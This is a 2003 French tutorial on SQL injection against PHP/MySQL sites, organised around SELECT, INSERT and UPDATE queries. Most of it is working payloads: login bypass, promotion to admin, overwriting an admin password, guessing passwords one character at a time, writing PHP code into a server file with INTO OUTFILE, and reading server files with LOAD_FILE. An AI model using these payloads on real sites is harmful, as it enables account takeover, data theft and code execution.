L'injection
(My)SQL via PHP
Table
des matières :
1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit
Introduction
:
Le texte qui suit
va vous apprendre ce que je sais de l'injection SQL dans PHP,
avec une base de donnée MySQL. Le code MySQL/PHP est inscrit en
bleu et les valeurs données à des variables dans le but de
faire de l'injection en rouge.
Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d'injection SQL applicables avec le
langage PHP, contrairement à l'ASP ou au JSP, à cause de sa
configuration par défaut (on en reparlera plus tard). Mais ça
arrive quand même, parfois à grande echelle, et de toute façon
la théorie est assez intèressante.
Avec les nombreuses mises à jour de MySQL, il est evident qu'un
tutoriel sur ce sujet ne sera jamais complet (ou du moins pas
longtemps).
Rappelons que l'injection SQL consiste en changer le but premier
d'une requête SQL, grâce à des variables modifiables par
l'utilisateur.
Imaginons une page php permettant de rechercher un utilisateur
enregistré sur le site.
La requête pourrait être quelque chose du style:
$req =
"SELECT * FROM membres WHERE name LIKE '%$search%'
ORDER BY name"; |
où $search est la variable modifiable par l'utilisateur, venant
d'un formulaire post (ou autre chose) de ce type :
<form
method="POST" action="<? echo
$PHP_SELF; ?>">
<input type="text"
name="search"><br>
<input type="submit"
value="Search">
</form> |
Un exemple d'injection SQL, pour afficher par exemple les membres
non pas par ordre alphabetique (par 'name'), mais
bien par uid, donc par ordre d'inscription, serait de donner à
$search la valeur : %' ORDER BY uid#. La requête executée serait alors transformée
en :
SELECT
* FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER
BY name |
Ce qui n'est pas la volonté
originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop
les choses, chaque chose en son temps, tout vient à point à qui
sait attendre, qui vivra verra (?) :)
Revenons au problème de la configuration PHP. Il y a dans le
php.ini une ligne permettant de définir le
"magic_quotes_gpc". Si cette option est sur ON, ce qui
est le cas par défaut (donc pour 97% des sites php), les "
et les ' vont êtres "slashés", c'est à dire qu'ils
seront transformés en \" et \'.
Donc si c'était le cas dans notre premier exemple, la requête
executée aurait été :
SELECT
* FROM membres WHERE name LIKE '%%\' ORDER BY uid#%'
ORDER BY name |
Ce qui revient à chercher un nom qui contient la phrase : %'
ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr
aucun résultat.
C'est pourquoi dans ce tutoriel nous allons considerer que nous
travaillons sur un site avec le magic_quotes_gpc sur OFF.
Les trois principaux types de requêtes executées dans des
scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d'une ou plusieurs tables,
INSERT ajoute un enregistrement, et UPDATE modifie un
enregistrement déjà créé.
SELECT :
Commencons par la plus classique, la requête SELECT, ce qui va
aussi nous permettre de voir en premier le type d'injection
SQL le plus connu, le plus utilisé, et pour lequel il y a le
plus à dire. SELECT est souvent utilisé dans les
authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le
login. Les valeurs entrées sont renvoyées vers une requête
MySQL :
$req =
"SELECT uid FROM admins WHERE login='$login' AND
password='$pass'"; |
On execute ensuite cette requête, s'il y a un résultat, c'est
que le login et mot de passe existent bien et correspondent, et
donc qu'on est administrateur.
A première vue, pour valider cette requête, il faut un login et
un mot de passe valide.
Pour que l'expression login='$login' ou password='$pass' renvoie
'vrai', il faudrait que le login ou le mot de passe entré dans
$login/$pass existe.
C'est le moment de parler des conditions qui renvoient toujours
'vrai'. On devrait plus les appeler des affirmations que des
conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui
renverront toujours 'vrai' :
SELECT
* FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END |
Vous l'avez compris, on affirme à chaque fois une réalité
sûre : 1=1 (1 égal 1... hé oui), 1 est different de 2, 3 est
plus grand que 2, b se trouve entre a et c, NULL est NULL, etc...
Il en existe bien sûr bien d'autres.
Cette idée d'expression qui renvoie toujours 'vrai' est un des
grands principes de l'injection SQL.
En effet, si on arrive à insérer un "toujours vrai"
dans la requête, inutile d'avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur : ' OR 'a'='a, on executera une requête SQL du type :
SELECT
uid FROM admins WHERE login='' OR 'a'='a' AND password=''
OR 'a'='a' |
Ce qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici, c'est le premier enregistrement de la table qui sera
choisie, l'uid extrait sera donc '1'.
Et la plupart du temps, le premier membre/admin enregistré est
le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut
avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme
$login "John" et comme $pass une expression renvoyant
toujours 'vrai', par exemple : ' OR 'b' BETWEEN 'a' AND 'c, ce qui executera la requête :
SELECT
uid FROM admins WHERE login='John' AND password='' OR 'b'
BETWEEN 'a' AND 'c' |
Voyons maintenant un autre grand principe de l'injection sql, qui
peut être utile dans l'exemple que nous avons ici, et dans
d'autres à venir : l'utilisation de caractères
"commentaires".
Il y a d'abord le caractère # qui commente tout ce qui le suit
(ce n'est donc plus exécuté sur la BD). Par exemple :
SELECT
* FROM table WHERE nom='Jack'# commentaire |
exécutera la requête :
SELECT
* FROM table WHERE nom='Jack' |
L'autre possibilité est d'utiliser /* et */, qui transforme en
commentaires ce qui se trouve entre les 2. Par exemple :
SELECT
* FROM table WHERE /* commentaires */ addresse='25 rue
des roubys' |
exécutera la requête :
SELECT
* FROM table WHERE addresse='25 rue des roubys' |
L'utilisation de ces caractères dans l'injection SQL va ici
principalement nous servir à faire ignorer des parties de
requête à l'execution, de façon à sauter des conditions, un
peu comme la méthode 'jump' en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle
connaissance :)
Pour arriver dans le compte de John, il suffit alors de taper
comme $login : John'#, ce
qui donnera la requête :
SELECT
uid FROM admins WHERE login='John'#' AND password='' |
et la partie ' AND password='' sera ignorée.
L'injection peut servir à beaucoup de choses, de beaucoup de
manières différentes. Imaginons par exemple qu'il y ait
plusieurs niveau d'administration (appelons le champ de la table
'admin' : 'admin_level'), que le premier membre enregistré n'est
qu'un modérateur et qu'on veuille avoir un compte de niveau 1.
Une injection dans ce cas serait par exemple de donner à $login
la valeur : '
OR admin_level=1#, ce qui
donnerait
la requête suivante :
SELECT
uid FROM admins WHERE login='' OR admin_level=1#' AND
password='' |
Une autre façon d'utiliser le SQL pour logger un
utilisateur/admin en SQL, serait non pas de vérifier directement
le login
ET le mot de passe dans une requête sql, mais bien d'extraire
d'abord le mot de passe en fonction du login, avec une
ligne de code comme :
$req =
"SELECT password FROM admins WHERE
login='$login'"; |
Ensuite le script verifiera si le mot de passe entré dans le
formulaire est bien celui extrait de la table admins.
Encore une fois, ce système n'est pas fiable, à cause de la
fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :
SELECT
* FROM table INTO OUTFILE '/complete/path/to/file.txt' |
enregistrera tout le contenu de la table 'table' dans le fichier
/complete/path/to/file.txt.
Donc si pour notre exemple on entre comme valeur à $login : John' INTO DUMPFILE
'/path/to/site/file.txt, la
requête deviendra :
SELECT
password FROM admins WHERE login='John' INTO DUMPFILE
'/path/to/site/file.txt' |
Et le mot de passe de John sera enregistré dans le fichier
http://[target]/file.txt.
Pour avoir tous les mots de passe, il faudra utiliser une
expression renvoyant toujours 'vrai', par exemple en donnant à
$login la valeur suivante : ' OR 1=1 INTO OUTFILE '/path/to/site/file.txt.
Il y a cependant quelques conditions à l'utilisation de INTO
OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet du fichier dans lequel
enregistrer le résultat
- Le fichier ne peut pas déjà exister (ce qui empêchera de
remplacer des fichiers comme /etc/passwd)
- On doit avoir les privilèges de la gestion de fichiers
Il y a aussi une différence entre OUTFILE et DUMPFILE, c'est que
si la requête extrait plusieurs colonnes, elles seront
clairement séparées en plusieurs colonnes dans le fichier avec
OUTFILE, et avec DUMPFILE elles seront toutes dans une seule
colonne.
Note : le fichier créé sera étidable par tous.
Cette option INTO OUTFILE peut encore aller un peu plus loin.
Imaginons que nous avons un compte nommé 'frog' sur le site
ayant ce type de requête. Nous pouvons donc changer nous même
le mot de passe. Si on y mets un code PHP, puis qu'on tape dans
le formulaire, comme $login : frog' INTO OUTFILE
'/path/to/site/file.php .
Cela aurait comme effet de noter notre code PHP dans un fichier
PHP, que l'on pourrais ensuite exécuter !
Je rappelle que, comme mes autres exemples, ce ne sont que des
exemples, il y a donc bien d'autres possibilités (ici ça aurait
pu être du code dans un message, dans le profile,...).
On pourrait aussi utiliser cette fonction pour saturer le disque
dur, mais ça peut directement prendre plus de temps :)
L'injection SQL dans la requête de type SELECT peut aussi nous
permettre de faire des recherches un peu spéciales, entre autre
grâce au 'LIKE'.
Je vais reprendre, pour expliquer ce point, la requête de
départ (à part un changement de table) :
$req =
"SELECT uid FROM membres WHERE login='$login' AND
password='$pass'"; |
mais je tiens à dire encore une fois que j'aurais pu prendre
pleins d'autres exemples, entre autre la requête montrée dans
l'intro (que vous devriez comprendre completement après cette
partie, si ce n'était pas le cas avant).
D'abord un peu de théorie purement SQL (sans l'injection :)) :
SELECT
* FROM table WHERE msg LIKE '%hop' |
va extraire tout les éléments de la table 'table', où le champ
'msg' termine part 'hop'.
SELECT
* FROM table WHERE msg LIKE 'hop%' |
va extraire tout les éléments de la table 'table', où le champ
'msg' commence part 'hop'.
SELECT
* FROM table WHERE msg LIKE '%hop%' |
va extraire tout les éléments de la table 'table', où le champ
'msg' contient 'hop'.
SELECT
* FROM table WHERE msg LIKE 'h%p' |
va extraire tout les éléments de la table 'table', où le champ
'msg' commence par h et termine part p.
SELECT
* FROM table WHERE msg LIKE 'h_p' |
va extraire tout les éléments de la table 'table', où le champ
'msg' commence par h et termine part p, et contient
un seul caractère à l'endroit du _.
Passons maintenant à l'injection. Le LIKE peut nous permettre de
'brute forcer' des informations de la base de donnée.
Par exemple, si nous voulons savoir si la première lettre du mot
de passe de l'utilisateur Bob, on pourrait (entre autre) donner
comme valeur à $login : Bob' AND password LIKE 'a%'#, ce qui donnerai la requête :
SELECT
uid FROM membres WHERE login='Bob' AND password LIKE
'a%'#' AND password='' |
Si on rentre dans le compte de Bob, c'est que son mot de passe
commence bien par a. Sinon, il nous suffit de tenter une autre
première lettre... puis quand elle sera trouvée, de recommencer
avec la deuxième, la troisième, la quatrième lettre etc...
L'injection SQL est parfois plus facile si elle est appliquée en
deux temps, grâce à l'utilisation de ses connaissances SQL. Car
la connaissance de l'injection SQL commence avec la connaissance
du langage SQL !
Par exemple, un problème qui se pose si on veut effectuer ce
brute force, c'est qu'on ne sait pas la longueur du mot de passe
à cracker. On peut donc être arrivé au bout du mot de passe
que le programme continuera à le chercher.
Pour ça une solution est de faire un premier test avec la
fonction LENGTH().
Si on donne comme valeur à $login : Bob' AND LENGTH(password)=6#, on obtiendra la requête :
SELECT
uid FROM membres WHERE login='Bob' AND
LENGTH(password)=6#' AND password='' |
Si le mot de passe de Bob est long de 6 caractères, on se
retrouvera dans son compte.
Reprenons la requête de l'intro :
$req =
"SELECT email, website FROM membres WHERE name LIKE
'%$search%' ORDER BY name"; |
pour parler un peu du ORDER BY. Son utilité n'est pas
extraordinaire, mais il faut quand même en parler.
Cette requête donc permet d'extraire les informations des
utilisateurs dont le pseudo contient la valeur de $search.
J'ai legerement modifié la requête de début pour qu'on ne
puisse pas utiliser très efficacement le INTO OUTFILE.
Dans l'intro j'ai évoqué l'idée de mettre comme valeur à
$search : %'
ORDER BY uid# ce qui donne
la requête :
SELECT
* FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER
BY name |
et nous affiche tout les membres classés par ordre
d'inscription. Cela pourrait être utile pour repérer
l'administrateur, qui est sûrement le premier inscrit.
Il est parfois possible de les classer par niveau de modération
(s'il y a un champ type user_level), par mot de passe, en donnant
à $search la valeur : %' ORDER BY password#, par longueur de mot de passe (%' ORDER BY
LENGTH(password)#), etc...
C'est d'autant plus interessant pour faire des comparaisons,
c'est-à-dire dans ce cas-ci, si on peut nous même nous inscrire
en tant que membre, et connaissant notre mot de passe, on peut le
comparer grâce à sa place aux mots de passe des autres.
Dans certains scripts, c'est plus simple, la requête est de type
:
$req =
"SELECT email, website FROM membres WHERE name LIKE
'%$search%' ORDER BY $orderby"; |
(comme dans PHP-Nuke) il suffit alors de changer le $orderby.
Note : ORDER BY *** affiche le résultat classé par champ ***
dans l'ordre croissant (0->9, a->z,...). Si on place le mot
'DESC' à la fin de la requête ([...] ORDER BY champ DESC), ça
sera dans l'ordre décroissant.
INSERT :
Voyons maintenant les injections SQL liées à la requête
INSERT, qui permet donc d'ajouter de nouveaux enregistrements à
une table. L'utilisation utile d'injection SQL dans une requête
INSERT est plus rare, mais existe néanmoins.
Si on prend l'exemple de l'inscription d'un membre, ce qui est le
plus courrant, on peut imaginer d'abord une table créée de
cette façon :
CREATE
TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
) |
Il y a donc dans cette table un id utilisateur, comme clef
primaire qui s'auto incrémente, le login, mot de passe, nom,
email et le niveau de l'utilisateur (1=user,
2=moderateur,3=admin).
Une requête pour créer un compte dans un service PHP, serait
par exemple :
$query1
= "INSERT INTO membres
(login,password,nom,email,userlevel) VALUES
('$login','$pass','$nom','$email','1')"; |
Quatre variables sont modifiables ici, donc quatre possibilités
d'injection.
Prenons pour l'exemple la plus simple, la variable $email. Si on
lui donne comme valeur : ','3')# , la
requête deviendra :
INSERT
INTO membres (login,password,nom,email,userlevel) VALUES
('','','','','3')#','1') |
et le nouveau membre créé aura le statut admin (la partie
après # étant ignorée).
Si on avait voulu utiliser la variable $nom, il aurait fallut
mettre ','','3')#, pour $pass ','','','3')# etc...
Ceci n'est pas la seule façon d'utiliser INSERT; il y en a deux
autres.
Mais voyons-les plutôt si la table avait été créée de cette
façon :
CREATE
TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default '1',
PRIMARY KEY (id)
) |
Le changement est qu'userlevel a une valeur par défaut : 1
(utilisateur). Il est en effet logique que, lorsqu'on s'inscrive,
on soit automatiquement utilisateur et non pas modérateur, les
droits étant donnés par l'administrateur.
Il y a alors peu de chances de retomber sur une requête INSERT
comme vue avant, où l'userlevel est indiqué.
Voici le genre de requête INSERT sur lequel on risque de tomber
:
$query2
= "INSERT INTO membres SET
login='$login',password='$pass',nom='$nom',email='$email'"; |
Pour modifier son niveau d'utilisateur, il suffira d'entrer dans
une des quatre variables la valeur suivante :
',userlevel='3 ce qui donnera comme requête, si par
exemple on attribue cette valeur à $nom, deviendra :
INSERT
INTO membres SET
login='',password='',nom='',userlevel='3',email='' |
Et le nouvel utilisateur sera créé avec des droits
administrateurs.
Imaginons maintenant que l'id soit un chaîne de caractères
créée aléatoirement. La création de la table se ferait alors
de la sorte :
CREATE
TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
) |
La requête SQL pourrait alors être du type :
$query3
= "INSERT INTO membres VALUES
('$id','$login','$pass','$nom','$email','1')"; |
Et l'injection SQL du même type que pour la première requête.
On peut par exemple donner à la variable $email la valeur :
a@a.a','3')#, ce qui donnerait le droit
administrateur à l'utilisateur créé, avec la requête :
INSERT
INTO membres VALUES
('[ID]','[LOGIN]','[PASS]','[NOM]','a@a.a','3')#','1') |
UPDATE :
Voyons maintenant les requêtes UPDATE, qui sont moins répandues
que les SELECT, plus que les INSERT, et qui permettent de mettre
à jour les champs d'un enregistrement dans la table d'une base
de données.
Reprenons pour le premier exemple la table :
CREATE
TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
) |
qui est donc une table créée pour une partie membres.
Un endroit où on pourrait trouver une requête UPDATE dans une
partie membre est le changement des informations d'un membre, la
modification de son profil utilisateur. Ici on pourrait y changer
son mot de passe, son nom et son email.
La requête SQL serait alors du type :
$sql =
"UPDATE membres SET
password='$pass',nom='$nom',email='$email' WHERE
id='$id'"; |
Imaginons d'abord que l'$id ne soit pas modifiable par
l'utilisateur - ce qui serait un problème de sécurité qui
n'est plus lié à l'injection SQL.
Une première possibilité ici serait de modifier un autre champ
que les champs password, nom et email, par exemple le champ
userlevel, qui, je le rappelle, contient le niveau de modération
de l'utilisateur.
Ceci serait possible en donnant par exemple à $nom la valeur : ',userlevel='3 ce qui donnerai comme requête SQL :
UPDATE
membres SET
password='[PASS]',nom='',userlevel='3',email='[EMAIL]'
WHERE id='[ID]' |
De cette façon il est donc possible de modifier n'importe que
champ de votre enregistrement dans la table.
Mais il y a mieux. On peut également, si cette injection SQL est
possible, opérer une autre injection qui, en plus de pouvoir
changer n'importe quel champ d'un enregistrement, pourrait
changer les champs de n'importe quel enregistrement !
En effet imaginons que l'on donne à $pass la valeur : [nouveaupass]' WHERE
nom='Admin'#. La requête
deviendrait alors :
UPDATE
membres SET password='[nouveaupass]' WHERE
nom='Admin'#',nom='[NOM]',email='[EMAIL]' WHERE id='[ID]' |
le SQL exécuté (donc sans les commentaires) serait :
UPDATE
membres SET password='[nouveaupass]' WHERE nom='Admin' |
et le mot de passe du compte dont le nom est "Admin"
deviendrait [nouveaupass].
Dernière possibilité pour arriver au même résultat : si l'$id
est modifiable par l'utilisateur, on peut lui donner la valeur : ' OR name='Admin, ce qui donnerait la requête :
UPDATE
membres SET password='[PASS]',nom='[NOM]',email='[EMAIL]'
WHERE id='' OR name='Admin' |
ce qui, encore une fois, changerait les informations du compte
d'Admin et nom pas de notre propre compte.
Voilà les grandes lignes. Pour voir un peu plus en profondeur,
je vais changer d'exemple, et prendre la table créée de la
manière suivante :
CREATE
TABLE news (
idnews int(10) NOT NULL auto_increment,
title varchar(50),
author varchar(20),
news text,
Votes int(5),
score int(15),
PRIMARY KEY (idnews)
) |
qui est donc une table déstinée à contenir des news, avec un
titre, un auteur, bien sûr un contenu, mais qui permettra aussi
de voter pour chaque news, avec un nombre de votants et un score.
Pour voter, la requête sera du style :
$sql =
"UPDATE news SET Votes=Votes+1, score=score+$note
WHERE idnews='$id'"; |
Je prends cet exemple car c'est via une requête de ce style que
j'ai approfondi ma connaissance de l'injection SQL dans les
requêtes UPDATE, plus précisemment dans PHP-Nuke, et j'ai
retrouvé la faille dans d'autres services (annuaires de
liens,...).
Ici on ne va pas toucher à la variable $id; sa modification ne
nous servirait à rien, puisqu'on peut voter pour chacune des
news.
On voit donc que la requête incrémente "Votes", qui
est le nombre de votants, et ajoute à "score" le
nouveau score choisi.
On remarque d'abord qu'en complétant correctement la requête,
on peut modifier n'importe quel champ de la news choisie.
Par exemple en donnant à $id le valeur 12 et à $note la valeur
: 3,
title='hop' on obtiendra la
requête :
UPDATE
news SET Votes=Votes+1, score=score+3, title='hop' WHERE
idnews='12' |
qui ajoutera un votant, augmentera le score de 3 points et
changera le titre de la news n° 12 en 'hop'.
Un point plus intéressant dans cette requête est qu'une
injection peut être effectuée, que magic_quotes_gpc soit sur ON
OU sur OFF, ce qui est le principal problème dans l'injection
SQL avec PHP.
En effet la variable modifiable $note n'est entourée ni de
guillements ni d'apastrophes.
On peut donc changer le but premier de la requête, sans utiliser
de ' ou de ", et donc sans avoir de problèmes avec les
filtres de la configuration PHP.
Un exemple d'injection sans ' ni " : on donne à $note la
valeur : 3,Votes=0 pour avoir la requête :
UPDATE
news SET Votes=Votes+1, score=score+3,Votes=0 WHERE
idnews='12' |
et remettre le nombre de votants à 0.
Evidemment, on ne peut changer (à première vue) que les
chiffres, car pour définir un char, varchar, text,... il faut
utiliser des ' ou " (title='hop').
C'est là qu'interviennent les fonctions de conversions de
chaînes de caractères. Par exemple, la fonction MySQL char(),
qui renvoie la valeur qui correspond aux chiffres donnés en
ASCII. Donc char(97,98,99) vaudra "abc". Il est donc
possible d'insérer du texte sans être bloqué par le
magic_quotes_gpc. Par exemple pour changer le titre en
"hop", on pourra donner à $note la valeur 3,
title=char(104,111,112), ce
qui donnera la requête :
UPDATE
news SET Votes=Votes+1, score=score+3,
title=char(104,111,112) WHERE idnews='12' |
On peut avoir facilement la
valeur hexadecimale via SQL lui-même en utilisant la fonction
ASCII() ou ORD(). ASCII('h') et ORD('h') renvoient 104.
Il est également possible de jouer avec les caractères sans '
ou " grâce au fait que MySQL reconnait directement les
caractères hexadécimaux et les convertit. Par exemple 0x616263
est compris comme "abc". Donc si on atttribue à $note
la valeur 3,
title=0x616263 , le titre
sera changé en "abc" car la requête effectuée sera :
UPDATE
news SET Votes=Votes+1, score=score+3, title=0x616263
WHERE idnews='12' |
Enfin, une troisième
possibilité est l'utilisation de la fonction CONV(), qui
convertit d'une base à l'autre (base minimum 2, maximum 36).
Par exemple on pourrait donner à $note la valeur 3,
title=CONV(10202210,3,16), 3, title=CONV(5274,8,16), etc... pour transformer le titre en
"abc". Ce qui est pratique avec cette fonction, c'est
que pour savoir la valeur à donner au premier argument, il
suffit de convertir dans l'autre sens, c'est-à-dire d'exécuter
SELECT CONV("abc",16,3), CONV("abc",16,8).
Quelques informations peuvent également être extraites grâce
aux fonctions DATABASE() et USER() ( ou SYSTEM_USER() ou
CURRENT_USER() ou SESSION_USER() ) qui renvoient respectivement
le nom de la base courante et le nom de l'utilisateur courant.
Ainsi on aura le nom de la base de donnée utilisée dans le
titre en attribuant comme valeur à $note : 3, title=DATABASE(), ce qui donne la requête :
UPDATE
news SET Votes=Votes+1, score=score+3, title=DATABASE()
WHERE idnews='12' |
Parlons enfin d'une fonction extrêmement intéressante, mais qui
s'applique rarement : la fonction LOAD_FILE().
Comme le dit son nom, elle charge un fichier donné en argument.
Plus précisément elle lit et retourne comme une chaîne le
contenu du fichier donné en argument.
Il y a plusieurs conditions à son utilisation :
- Le fichier doit être sur le serveur
- Son path complet doit être spécifié
- On doit avoir le privilège FILE
- Le fichier doit être lisible par tous
- Le fichier doit être plus petit que le max_allowed_packet
Si toutes ces conditions sont remplies, on peut enfin charger des
fichiers dans la base de données. Le champ pouvant contenir le
plus de caractères est le champ "news" (de type text),
c'est donc celui-ci que nous allons utiliser. Pour copier par
exemple le fichier /tmp/picture (je reprend l'exemple de MySQL
pour ne pas utiliser le classique /etc/passwd) dans le champ
"news" de la news 12, on peut attribuer à $note la
valeur 3,
news=LOAD_FILE('/tmp/picture') ce qui donnera la requête :
UPDATE
news SET Votes=Votes+1, score=score+3,
news=LOAD_FILE('/tmp/picture') WHERE idnews='12' |
Conclusion/Credit :
Voilà déjà pas mal de choses qui peuvent se faire avec
l'injection SQL... ça change de l'éternel 1=1 qu'on voit
partout dans les textes à ce sujet.
Il manque certainement certaines choses, comme par exemple
l'UNION, ajouté dans la version 4.0.0 de MySQL, je ferais donc
peut-être des rajouts par la suite à ce texte. Si c'est le cas
je les mentionnerais ici, avec la date correspondante.
Pour tout commentaire, questions,... vous pouvez me mailer à leseulfrog_at_homail.com . Mes tutoriels sont disponibles sur http://www.phpsecure.info/v2/tutos/frog/ .
Ce texte a été achevé le jeudi 3 juillet 2003 (et il pleut !).
Texte publié dans "The
Hackademy Manuel"
#5
frog-m@n